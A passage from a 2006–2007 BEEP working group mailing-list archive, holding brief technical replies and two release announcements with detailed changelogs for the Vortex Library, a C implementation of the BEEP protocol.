List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 27 Sep 2006 13:13:19 -0000

> http://www.emsl.pnl.gov/docs/parsoft/armci/
>
> (There is also GASNet from Berkeley.)
>
> Its not TCP, but its worth looking at whether a BEEP-like protocol  
> might be layered on top.
>
> IBM also has a LAPI product (low-level API) which should be  
> available on Linux as well soon.

interesting. you can certainly layer beep on top of a messaging  
passing api, providing it gives you ordered, reliable delivery.  
presumably, you wouldn't need any flow management for the channels.  
so, this leaves the performance issue down to using the default  
content-transfer-encoding when moving data.

/mtr

From sroberts@uniserve.com Sun Dec  3 16:52:43 2006
Received: from defout.telus.net (defout.telus.net [199.185.220.240])
	kB40qfwn024251
	for <beepwg@lists.beepcore.org>; Sun, 3 Dec 2006 16:52:41 -0800
Received: from priv-edtnaa06.telusplanet.net ([154.20.166.96])
	by priv-edtnes90.telusplanet.netESMTP
	<20061204005228.PDZQ25424.priv-edtnes90.telusplanet.net@priv-edtnaa06.telusplanet.net>
	for <beepwg@lists.beepcore.org>; Sun, 3 Dec 2006 17:52:28 -0700
Received: from ensemble.local (d154-20-166-96.bchsia.telus.net
	[154.20.166.96])Firewall) with ESMTP id 4D1ESMMQ1P
	for <beepwg@lists.beepcore.org>;
	Sun,  3 Dec 2006 17:52:26 -0700 (MST)
Received: by ensemble.local (Postfix, from userid 501)
	id 4BF136201D8; Sat, 25 Nov 2006 00:32:48 -0800 (PST)
Date: Sat, 25 Nov 2006 00:32:47 -0800
From: Sam Roberts <sroberts@uniserve.com>
To: beepwg@lists.beepcore.org
Message-ID: <20061125083247.GA961@ensemble.local>
Mail-Followup-To: beepwg@lists.beepcore.org
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
Subject: [BEEPwg] 
	are there any bindings of IM or IRC-like protocols to beep?
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 04 Dec 2006 00:52:43 -0000

Not having any luck finding any, I thought I'd find a binding of XMPP,
but I guess BXXP arrived too late for them?

Thanks,
Sam

From mrose@dbc.mtview.ca.us Mon Dec  4 05:20:53 2006
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	kB4DKoPZ008938;	Mon, 4 Dec 2006 05:20:51 -0800
In-Reply-To: <20061125083247.GA961@ensemble.local>
References: <20061125083247.GA961@ensemble.local>
Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <6BEADB41-52FD-473C-9276-0AFC0F30EE29@dbc.mtview.ca.us>
Content-Transfer-Encoding: 7bit
From: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg]  are there any bindings of IM or IRC-like protocols to
	beep?
Date: Mon, 4 Dec 2006 15:20:48 +0200
To: Sam Roberts <sroberts@uniserve.com>
X-Mailer: Apple Mail (2.752.3)
cc: beepwg@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 04 Dec 2006 13:20:53 -0000

> Not having any luck finding any, I thought I'd find a binding of XMPP,
> but I guess BXXP arrived too late for them?

indeed. david, graham and myself dropped apex (basically smtp/im over  
beep) for xmpp (nee jabber), based on where things were in the  
technology lifecycle.

/mtr

From francis@aspl.es Thu Dec  7 08:22:10 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])kB7GM818016565
	for <beepwg@lists.beepcore.org>; Thu, 7 Dec 2006 08:22:09 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1GsM0Q-00050F-00
	for <beepwg@lists.beepcore.org>; Thu, 07 Dec 2006 17:21:54 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: BEEPwg <beepwg@lists.beepcore.org>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Thu, 07 Dec 2006 17:22:37 +0100
Message-Id: <1165508557.1215.136.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.6.3 
X-Scanner: exiscan *1GsM0Q-00050F-00*s/FK8L3hvKQ*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id kB7GM818016565
Subject: [BEEPwg] [ANN] Vortex Library 1.0 is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 07 Dec 2006 16:22:11 -0000

       ###########################################
       ##  Vortex Library 1.0 Stable Release    ##
       ###########################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 1.0 availability: an open source "BEEP Core" protocol
  implementation written in C, mapped onto TCP/IP.

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://vortex.aspl.es
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://xml.aspl.es
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~
  This new release fixes and integrates many known bugs from previous
  stable release. It also includes the first implementation for the
  regression test that will be used to ensure function and to upgrade
  the library performance.

  Several library improvements has been done, making it faster than
  previous one (vortex writer loop has been removed) and vortex reader
  handling under many connections has been updated showing an upgrade
  from 39segs to 5segs for a test that creates 1000 connections and
  then closes them.

  Many new useful functions has been added, a new reference counting
  support for channels and frames, xml-rpc-gen tool updates.

  This is the first stable release for the 1.X series that will
  include many interesting features like separating library into a core
  BEEP component, the current library that provides application
  structure, and the rest of BEEP profiles. 

Thanks to..
~~~~~~~~~~~

  Milton Yates (Gentoo ebuilds, axl library wrong dependency, SASL
  patch to solve user defined pointer at listener side and its
  appreciated suggestions)

  Attilio Drei (libssl wrong flags configuration)

  Sam Roberts (fixed wrong vortex main header c++ declarations, fixed
  documentation vortex_connection_new about reference returned, fixed
  wrong user defined pointer passed to the close channel notify, many
  const declarations fixes, added vortex_channel_close_full and its
  appreciated suggestions)

Changes since 0.9.0
~~~~~~~~~~~~~~~~~~~~

* [fix] fixed wrong dependency (0.9.0) with Axl Library 0.2.4 (Milton
  Yates report).

* [fix] Added to src/Makefile.am a rule to update the libvortex.def file
on
  make dist.

* [fix] making server generation to split the main file into a plain
  main file with only the main function and the service dispatcher
  code at other file. This makes more easy to integrate source code
  generated with other source code.

* [fix] adding a new option to allow controlling where will be placed
  the source code for the server component generated: --out-server-dir

* [fix] fixed a bug at the source code generated for the deallocation
  function created for the array API.

* [fix] adding a new option which allows to disabling source code
  generation for the main file (main.c) at the serve side component:
  --disable-main-file

* [fix] fixing a bug while choosing if the client or server component
  was generated. Autoconf module was always activated for both.

* [fix] adding an explicit reference to -lcrypto if TLS interface is
  activated. Making configure.ac to create a vortex.pc according to
  the TLS and SASL configuration.  Bug solved: 325.

* [fix] Fixed bug 325 (-lcrypto wasn't properly configured, making
  platform with an libssl compiled but not associated with libcrypto
  to fail while linking).  Bug reported by Attilio Drei.


* [new] Adding a new function to the vortex tls API to enable getting
  the SSL object for a VortexConnection with a TLS session
  activated. This will allow to vortex client application to implement
  more features beyond the set already provided by the Vortex API. API
  added:
  
   - vortex_tls_get_ssl_object

* [new] Adding a new function to the vortex tls API to enable getting
  the peer TLS certificate finger print. This will allow to easily
  implement a verification code like ssh tools does. API added:
   
   - vortex_tls_get_peer_ssl_digest

* [fix] adding additional checks to
  vortex_channel_next_pending_message.

* [fix] making vortex_channel_is_opened to check for a null reference,
  return FALSE if that case.

* [fix] Rewritten vortex_hash_destroy function to lock the hash before
  proceding to the destroy operations.

* [fix] fixed a bug inside the xml-rpc-gen activation flag
  (configure.ac)

* [fix] Fixing a bug which was causing to not generate the
services_dispatch.[ch]
  functions if --disable-main-file option is activated.

* [new] Adding a new function which allows copying an
  XmlRpcMethodValue from a previous one. API added:

   - vortex_xml_rpc_method_value_copy
   - method_value_copy

* [fix] fixing a bug inside vortex_xml_rpc_boot_channel_sync it wasn't
  properly check the presence for reporting status variable before
  being used. Also fixed channel notification when it is not created
  (synchronous API).

* [new] Adding an new function to get current msg-no configured for a
  given XmlRpcMethodCall object (the BEEP message that was used to
  transport the request). API added:

   - vortex_xml_rpc_method_call_get_msgno

* [fix] fixing several wrong reference to the component name where the
  lower version is required. Updated source code generation to
  translation non allowed characters into '_'. Added two new function
  to support this:

   - xml_rpc_support_to_lower
   - xml_rpc_support_to_upper

* [new] added a new option which allows to fully configure where is
  placed the source code for the client stub generated.

* [fix]fixing several compilation errors exposed due to compiling the
  tool inside the windows platform (it was missing -Wall) from
  Makefile.am (xml-rpc-gen tool).

* [new] Updated makefiles to include all tools and the xml-rpc-gen.exe
  inside the installation directory. Making vortex.nsi to include
  import libraries for windows (libvortex.def, libvortex.exp,
  libvortex.lib).

* [fix] fixing a non initialized writable inside
  xml_rpc_c_stub_write_native_type.

* [fix] updating vortex_init documentation to include some references
  to how disable console log debug.

* [fix] updated vortex_xml_rpc_invoke_sync documentation to includes
some
  examples and a reference to the automatic deallocation of the 
  XmlRpcMethodCall received.

* [new] added support to the compiler to get notification about the
  service name to be used while performing the invocation rather than
  supposing it from the XDL/IDL declaration. Updated dtd definition to
  support this new feature. Added tests for this new support:

    - reg-test08.xdl
    - reg-test08.idl

* [fix] making lookup path to use . before INSTALL_DIR (allows to use
  the local copy from the development source rather than the one
  installed).

* [new] finished support for method_name attribute declaration for IDL
  format.

* [new] Added support to IDL format to detect attribute declaration,
  initially for service declaration, even if the service has no source
  code definition.  Used to support alternative method name
  declaration.  Example:

     [method_name="operation/aritmetic/sum"];
     int sum (int a, int b);

  Now, the api produced will be the same, but the underlying method
  invoked is the valued provided at method_name.

* [fix] making vortex_sasl_auth_method_used to return a NULL value
  when the library isn't compiled with SASL support.

* [fix] updating vortex_xml_rpc_method_value_from_string to include a
  reference to supported types that could be translated into a string.

* [fix] updated vortex_connection_ref function to return a boolean
  status signaling that the connection reference counting was
  increased or not. Updated source code to check this return value and
  to not perform a vortex_connection_unref and to act according to the
  failure. Updated function documentation.

* [fix] making __vortex_channel_block_until_replies_are_received
  function to get get blocked forever until replies are received. Now,
  waiting process is limited with a timeout. Updated the function to
  return the wait status value so the caller can react.

* [fix] making __vortex_channel_0_frame_received_close_msg to check
  current closing status for the channel that is receiving the
  notification before doing any operation.  This solves the problem
  created by a channel requested to be closed that have also received
  a request to close from the remote peer at the same time.

* [fix] using vortex_connection_ref return status code, now second
  level and first level frame delivery handlers are not executed it a
  failure was found.

* [fix] making vortex_xml_rpc_method_value_nullify to check
  XmlRpcMethodValue received before proceeding.

* [new] added a new function that allows to nullify the method value
  internal reference for a selected XmlRpcMethodResponse. API added:

    - vortex_xml_rpc_method_response_nullify

* [new] Updated channel pool API to allow managing channel that its
  creation are more complex than just calling to
  vortex_channel_new. The API now support an external handler that
  allows to delegate channel creation task to the user space code. API
  added:

    - vortex_channel_pool_new_full
    - vortex_channel_pool_add_full
    - VortexChannelPoolCreate (creation handler)
    - vortex_channel_pool_get_next_ready_full

* [new] implemented a channel pool mechanism for the XML-RPC API,
  allowing to create XML-RPC channels and reuse them across
  invocations. API added:
  
    - vortex_xml_rpc_create_channel_pool
    - vortex_xml_rpc_channel_pool_get_next

* [fix] Fixed an internal bug inside
  __vortex_xml_rpc_unmarshall_common_sync which wasn't allocating a
  copy for the method response fault string causing the application
  level to access to deallocated memory. Updated synchronous
  invocation documentation to note that fault strings, on error cases,
  is an allocated string that must be deallocated when no longer
  needed.

* [new] Updated xml-rpc API to include a function to get the member
  value for a provided struct selected by name. Added also a function
  to get the member selected by a position provided and a function to
  get the member name at a provided position. API added:

   - vortex_xml_rpc_struct_get_member_value
   - vortex_xml_rpc_struct_get_member_value_at
   - vortex_xml_rpc_struct_get_member_name_at

* [fix] fixed a memory leak at the greetings parsing code caused by a
  change at the libaxl API. Now axl_node_get_childs returns an
  allocated list of nodes.

* [fix] fixed a memory leak at the vortex sasl module which was
  causing to not deallocate the gsasl_session object associated to the
  connection.

* [new] Extending XML-RPC API to include a function to stringify a
  method value containing basic values (int, string, boolean, double)
  and making vortex_xml_rpc_method_response_stringify to use it. API
  added:
  
    - vortex_xml_rpc_method_value_stringify

* [fix] making common reply code to check application level replies,
  avoiding to reply several times to the same msgno, making
  __vortex_channel_common_rpy to not hang but drop an error log. (only
  done for RPY and ERR).


* [fix] Making __vortex_channel_block_until_replies_are_received to
  not wait for replies to be received "and processed". The last part
  of the checking was causing to hang forever if a the user space
  tried to close the channel from inside the frame received (including
  the last message received). Added documentation near to the update
  linking it to the BEEP RFC section.

* [fix] Making marshalling code for XML-RPC profile, for <string> tags
  to use <![CDATA[..]]> to enclose content, allowing to use non
  allowed xml symbols.

* [fix] added some comments to the vortex_connection_new_empty
  function.

* [fix] Added missing declarations BEGIN_C_DECLS/END_C_DECLS to main
  vortex module. (Reported and fixed by Sam Roberts).

* [fix] Committing patch that solves SASL user pointer problem at the
  server side programming (Milton Yates patch).

* [fix] adding some comments, fixing vortex writer header, making
  doxygen to not confuse it with documentation.

* [new] Added a new function to the vortex connection module to get
  current channels opened. API added:

   - vortex_connection_get_opened_channels

* [fix] Removing old vortex writer implementation, that has showed to
  not scale properly on have connection load.

* [fix] Removed all references to the vortex writer module and
  implemented inside the vortex sequencer the ability to send BEEP
  frames produced.

* [fix] making vortex main header to define by default 1024
  connections to be handled inside one single select(2) call.

* [new] Committing a new test file (vortex client) that creates many
  connections to a single vortex server. Base test used to improve
  vortex performance on high load.

* [fix] Fixed comment inside vortex_connection_new (Sam Roberts) about
  reference returned if threaded and non-threaded model is used.

* [new] Updated VortexFrame definition to include an internal reference
to the 
  channel where the frame was received. Added new API to retrieve the
channel
  reference:

   - vortex_frame_get_channel_ref

* [fix] committing initial status for the regression test that will
  check all features provided by vortex (vortex-regression-client and
  vortex-regression-listener).

* [new] Added a new example which servers as an initial step to
  implement a main loop based vortex client application
  (vortex-client-without-cbs.c) and updated vortex-server-without-cbs.

* [new] Added a new API to handle close channels in a decoupled form
  allowing to configure the handler to be called to get notification
  and a function to finish the notification. API added:

   - VortexOnNotifyCloseChannel (handler)
   - vortex_channel_set_close_notify_handler
   - vortex_channel_notify_close

* [fix] committing more updates to the vortex-regression-client file.

* [new] Updated regression tests to include tree initial basic tests
  which check basic BEEP functions and data transmission (with small
  messages and large ones). Added support to check
  vortex_channel_set_serialize.

* [fix] Fixed a bug inside vortex sequencer loop which wasn't checking
  for the result received from vortex_sequencer_direct_send. Also
  making that function to return a boolean value to flag if the
  message was sent or not.

* [fix] Making all vortex_channel_send_rpy* to check the connection
  that is being used to send the reply message before performing any
  action.  Also added a connection check for waiting threads for other
  replies to be sent inside the same function.

* [new] Added support to enforce serialization while notifying
  incoming frames for a particular channel.
  
   - vortex_channel_set_serialize
  
* [fix] Making vortex reader process to return a status value if it
  isn't able to notify SEQ status, making vortex reader process to
  stop for the particular connection.

* [fix] Making vortex reader to add new connections to watch using
  prepend operations rather than append operations. Making also vortex
  reader to check the number for descriptors changed during
  processing.

* [fix] removing all implementation inside vortex reader based on
  GList to hold connections watched and started to use axlList,
  allowing to better reuse memory and to perform efficient element
  removal while traversing connection list.

* [new] Added a new regression test to check vortex support for many
  connections.

* [fix] Making vortex reader to set fds to be watching taking listener
  connections first, improving startup new connections. All
  modifications done have improved vortex library overall efficiency
  to run vortex-client-connections in 37.138segs using vortex 0.9.0 to
  5.207segs using current vortex SVN. GREAT!!

* [fix] fixed "being_closed" flag configured for TLS-fixated
  connections.

* [new] Added initial tests to check TLS and SASL profile support.

* [fix] Updating vortex-regression-client and
  vortex-regression-listener to use a constant to define listener port
  to be used. Updated Makefile.win to include this new tests.

* [fix] Adding missing new lines to the vortex-simple-client test
  (patch from Sam Roberts).

* [fix] Fixed a serious bug inside vortex TLS profile caused by not
  protecting the SSL session object with a mutex, producing undefined
  behaviors under heavy data transfered while the session is
  TLS-fixated. Now, the library passes test_05.

* [fix] making vortex connection internals to notify when it is not
  ready the layer to send and receive data (even when it was notified
  by the select(2) call).  This is because having data at the
  underlying transport doesn't means directly to have data available
  while calling to SSL_write and SSL_read.

* [fix] Making vortex sequencer to queue data as pending if it isn't
  able to send it while calling to vortex_sequencer_direct_send.

* [new] Added a new function that allows to create a new listener
  using as port configuration an integer value (Sam Roberts
  suggestions).  API added:
  
   - vortex_listener_new2

* [fix] Updated VortexOnChannelCloseNotify documentation to explain
  its function, and how it relates with VortexOnChannelClose.

* [fix] Updated several functions from the vortex_channel and the
  vortex_profiles module to include "const" declaration where
  suitable.  (Sam Roberts suggestions).

* [fix] Fixed a bug inside vortex_channel_get_reply which was causing
  to unref the queue used each time it was called.

* [fix] Making SASL server side profile to use gsasl_property_fast
  rather than gsasl_property_get to avoid infinite loop while
  accessing to not defined properties due to a malicious auth
  attempt. Making these checks to ensure "realm" value is defined if
  requested DIGEST-MD5.

* [fix] Fixed SASL CRAM-MD5 and DIGEST-MD5 to allow receiving empty
  blob mainly because these mechanism are started by content at the
  server side.

* [new] Updated regression test to check SASL mechanism: PLAIN,
  EXTERNAL, CRAM-MD5 and DIGEST-MD5.

* [fix] Fixing wrong user defined pointer passed to the close channel
  notify and the profiles module (report and patch: Sam Roberts).

* [fix] Making vortex_profiles API module to use where suitable
  "const" declaration.  (report Sam Roberts).

* [new] Added a new API to the vortex listener to allow configuring
  realm to be used at the server side for all connections. This is
  only used, at this moment, by the SASL DIGEST-MD5 mechanism. API
  added:

     - vortex_listener_set_default_realm
     - vortex_listener_get_default_realm

* [fix] Added "const" declarations to: vortex_channel_get_mime_type
  and vortex_channel_get_transfer_encoding.

* [fix] Making SASL server side to check and properly return realm
  configuration if available.

* [fix] Now vortex library passes all tests added to the regression
  test suite.

* [fix] Several fixing to make the tool to produce source code that
compiles with
  the latest version of vortex and axl library (xml-rpc-gen)

* [fix] Fixed bugs caused by mixing services and type declarations
inside a single
  file declaration (xml-rpc-gen)

* [new] Added support for a new option: --to-xml, which allows to
translate
  the input .idl file into its representation .xml (xml-rpc-gen)

* [fix] Minor modifications to the xml-rpc-gen tool and the library to
  use -ansi flag.

* [fix] Fixed a bug which was causing to not properly deallocate SASL
  ctx and SASL session once the connection has gone.

* [fix] Fixed a bug which was causing to not deallocate the
  VortexConnection that was tls-fixated (once called
  vortex_tls_start_negociation and its *_sync version).

* [fix] Fixing minor code problem to implement --version inside the
  tool when the value isn't defined.

* [fix] Wrapping FD_SETSIZE and VORTEX_FD_SETSIZE definitions to avoid
  redefinitions performed by external libraries.

* [fix] Making vortex sasl module to notify an error if the SASL layer
  don't initialize properly.

* [fix] Many const fixes for the vortex channel and the vortex
  connection API (reported and fixed by Sam Roberts
  sroberts@universe.com).

* [new] Updated vortex frame API and its internals to add support for
  reference counting and automatic memory deallocation. API added:
  
    - vortex_frame_ref
    - vortex_frame_unref

* [fix] Updated vortex library internals to use new vortex frame
  reference counting support.

* [new] Updated vortex channel API to support reference counting and
  automatic memory deallocation. API added:

    - vortex_channel_ref
    - vortex_channel_unref

* [fix] Updated vortex library to use the new vortex channel reference
  counting mechanism.

* [new] Applied patch to support vortex_channel_close_full, a version
  of vortex_channel_close with user defined pointer support. (Patch
  Sam Roberts).
   
About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services to help organization to introduce GNU/Linux
  inside its process.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!  

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
7th Dic 2006, Madrid (Spain)


From francis@aspl.es Fri Feb 23 00:53:06 2007
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])l1N8r3xT009379;	Fri, 23 Feb 2007 00:53:04 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1HKWAP-0008OE-00; Fri, 23 Feb 2007 09:52:37 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Vortex <vortex@dolphin.aspl.es>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Fri, 23 Feb 2007 09:52:54 +0100
Message-Id: <1172220774.4092.4.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.6.3 
X-Scanner: exiscan *1HKWAP-0008OE-00*BmIqP7.h0YQ*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id l1N8r3xT009379
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
Subject: [BEEPwg] [ANN] Vortex Library stable release 1.0.1 is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Feb 2007 08:53:07 -0000

       ###########################################
       ##  Vortex Library 1.0.1 Stable Release  ##
       ###########################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 1.0.1 availability: an open source "BEEP Core" protocol
  implementation written in C, mapped onto TCP/IP.

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://vortex.aspl.es
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://xml.aspl.es
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~
  This new release includes a vortex listener API update to enable
  applications to start and stop selected listeners. 

  It is also included a new vortex TLS API which allows full control
  while creating SSL context, allowing to configure any minimal detail
  such cipher list, verification options, etc.

Thanks to..
~~~~~~~~~~~
  Thomas Unterleitner (detected and fixed wrong empty struct 
  declaration, wrong variable order declaration inside 
  vortex_channel_update_incoming_buffer).

  Milton Yates (deteced and fixedwrong -ltermcap declaration for 
  vortex-client and for its appreciated gentoo package support).

Changes since 1.0
~~~~~~~~~~~~~~~~~
  
* [fix] Making frame received notification to increase channel
  reference counting just after notifying the frame, and to decrease
  it.

* [fix] Minimal vortex internal updates to conform Axl Library API.

* [fix] Removed empty struct declared but not used (Reported and Fixed
  by Thomas Unterleitner).

* [fix] Fixed wrong variable order declaration inside
  vortex_channel_update_incoming_buffer (Reported and Fixed by Thomas
  Unterleitner).

* [fix] Removed vortex_writer_data_free function. No longer used.

* [fix] Replaced previous calls to g_realloc with realloc.

* [fix] General update to ensure memory handling is not done through
  glib.
 
* [fix] Updating exarg files included inside the xml-rpc-gen tool.


* [fix] Removing vortex sequencer semaphore from the API documentation
  and making vortex sequencer module to not create the semaphore that
  is no longer used.

* [fix] General update to the test files, ansificating them (problems
  with comments nothing more).

* [fix] Applied general change to make gint to be replaced by plain
  int type. Also renamed GPOINTER_TO_INT and GINT_TO_POINTER to
  PTR_TO_INT and INT_TO_PTR macros.

* [fix] Global update to make gpointer and gboolean to be no longer
  used and instead used axlPointer and bool.

* [fix] Added two new internal definitions to handle function
  pre-conditions:
  
   - v_return_if_fail
   - v_return_val_if_fail

* [fix] Replaced all calls to g_return_if_fail and
  g_return_val_if_fail with the appropriate macros. Updated libvortex
  and xml-rpc-gen tool.

* [fix] Making vortex_log to not use ansi characters if compiled
  without gnu gcc tools.

* [fix] fixed bug inside vortex_io.c module (a function was returning
  from a function returning void).

* [fix] fixed some warnings exposed by visual studio. Committing visual
  studio files to compile libvortex and its regression tests.

* [new] Added new test to check new features added: closing listeners
  created and unregistering profiles. Test file name:
  vortex-close-listeners.c

* [new] Added support to make possible to close listeners created. Now
  vortex_listener_new, vortex_listener_new2 and
  vortex_listener_new_full returns references to the listener created
  (VortexConnection).

* [new] Added a new function to create a listener, which provides a
  notification with the listener created, providing the reference of
  the listener. Also added a new associated handler. API added:

   - vortex_listener_new_full
   - VortexListenerReadyFull

* [new] Added a new function to allow unregistering profiles. API
  added:

   - vortex_profiles_unregister

* [fix] Replaced all calls to g_build_filename with
  vortex_support_build_filename.

* [fix] Making vortex-regression-client to not check SASL DIGEST-MD5
  under windows platform until fixed gsasl problem.

* [fix] some fixings to make Visual C 6.0 to be happy.

* [fix] Fixing wrong definition of vortex_log at vortex headers while
  compiling with Visual C 6.0.

* [fix] Removed -ltermpcap link flag from vortex-client compilation
  (Reported and Fixed by Milton Yates).

* [fix] fixed minor warning inside vortex tls module.

* [new] Implemented an alternative method to configure the TLS
  process, providing all control to create the SSL_CTX object, which
  is the element defined to drive all the process. Now the library
  will provided a way to configure a global or per connection handler
  to be executed to create the SSL_CTX object. API added:
  
   - vortex_tls_set_ctx_creation
   - vortex_tls_set_default_ctx_creation
   - VortexTlsCtxCreation (handler)

* [new] Provided to the vortex tls module a way to install globally or
  per connection a function to be called to perform a post-check, once
  the TLS activation process have finished. API added:

   - vortex_tls_set_post_check
   - vortex_tls_set_default_post_check
   - VortexTlsPostCheck (handler).

* [fix] Fixed several missing "const" declaration inside vortex
  channel, vortex frame factory and vortex xml rpc.

* [fix] removing limitations found inside the status documentation,
  about TLS.  They are now implemented. Updating version file and
  module export.

* [fix] Fixing minor warnings and wrong const declarations.

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services to help organization to introduce GNU/Linux
  inside its process.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!  

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
23th Feb 2007, Madrid (Spain)


From mrose@dbc.mtview.ca.us Fri Feb 23 08:30:23 2007
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	l1NGUMMU024917;	Fri, 23 Feb 2007 08:30:22 -0800
In-Reply-To: <1172220774.4092.4.camel@vulcan.aspl>
References: <1172220774.4092.4.camel@vulcan.aspl>
